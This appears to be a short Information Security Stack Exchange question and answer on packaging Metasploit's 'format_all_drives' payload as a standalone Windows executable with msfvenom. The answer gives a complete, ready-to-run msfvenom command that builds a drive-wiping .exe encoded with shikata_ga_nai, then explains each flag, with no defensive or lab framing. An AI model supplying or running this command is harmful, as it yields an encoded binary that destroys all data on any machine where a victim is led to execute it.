For example how do I turn the
payload/windows/format_all_drives into an exe without any other fancy addons?
(I am talking about using msfvenom FYI)
Information Security Stack Exchange is a question and answer site for information security professionals. It only takes a minute to sign up.Sign up to join this community
It's as simple as:
msfvenom -a x86 --platform windows -p windows/format_all_drives -e x86/shikata_ga_nai -f exe -o /tmp/1.exe
-a option is used to specify the architecture, the
-p option is used to specify the payload, the
-e option is used to specify the encoder, the
-f option is used to specify the output format (
exein this case) and the
-o option is used to specify the file to write the binary to.